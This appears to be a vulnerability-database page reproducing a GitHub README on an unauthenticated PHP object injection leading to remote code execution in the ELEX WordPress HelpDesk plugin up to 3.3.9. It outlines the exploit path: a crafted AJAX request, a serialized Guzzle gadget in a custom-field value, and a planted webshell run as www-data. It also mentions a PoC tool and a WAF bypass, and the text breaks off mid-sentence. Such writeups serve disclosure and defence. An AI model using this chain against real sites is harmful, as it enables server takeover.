Critical Severity CVE-2026-125855
Published: Nov 20, 2026

[GitHub] CVE-2026-125855

Rce
Type
N/A
CVSS Score
11
Views
Anonymous
Author

Description

ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.9 — unauthenticated PHP Object Injection to RCE (CVE-2026-125855 == CVE-2026-119077). PoC, lab, and full analysis.

# CVE-2026-125855 == CVE-2026-119077

**ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.9**
Unauthenticated PHP Object Injection -> RCE (CWE-502, CVSS 9.8). Fixed in 3.4.0.

Two CVE identifiers describe the same bug (two bounty programs, two IDs). All public
sources — NVD, CIRCL, Patchstack — agree on the affected window and the fix version.

## The bug in one paragraph

The `wp_ajax_nopriv_eh_crm_new_ticket_post` handler accepts a `form` parameter containing
the ticket fields. The value of any **custom field** is stored as ticket meta and later
passed to `unserialize()` without an `allowed_classes` restriction. A serialized
`GuzzleHttp\Cookie\FileCookieJar` object (Guzzle ships inside the plugin's `vendor/`)
destructs into `file_put_contents()`, which writes an attacker-chosen file — a PHP
webshell in the web root.

```
POST /wp-admin/admin-ajax.php
action = eh_crm_new_ticket_post
nonce = <public, harvested from the [wsdesk_support] page>
form = request_email=…&request_title=…&request_description=…&<custom_field_slug>=<serialized FileCookieJar>
-> parse_str -> ticket meta stored -> auto_send_creation_email
-> eh_crm_get_ticketmeta() -> unserialize() -> FileCookieJar::__destruct()
-> file_put_contents() -> webshell
GET /wp-content/<dir>/<name>.php?a=id -> uid=33(www-data)
```

Full analysis: **[CVE-2026-125855-report.md](CVE-2026-125855-report.md)** — sink-coverage audit
(30 sinks in 3.3.9, 0 in 3.4.0), the 6 `nopriv` handlers and why only one reaches a sink,
WAF bypass, failure-mode inventory, remediation.

## Prerequisite (this is why most hosts are not exploitable)

**At least one custom ticket field must exist.** Its slug is the only key whose value
reaches the deserializer; `request_email` / `request_title` / `request_description` are
handled separately and never touch it. A pristine 3.3.9 install with no custom fields is
**not** exploitable through this path.

The tool reports such hosts as `ASSUMED: no custom field`, never

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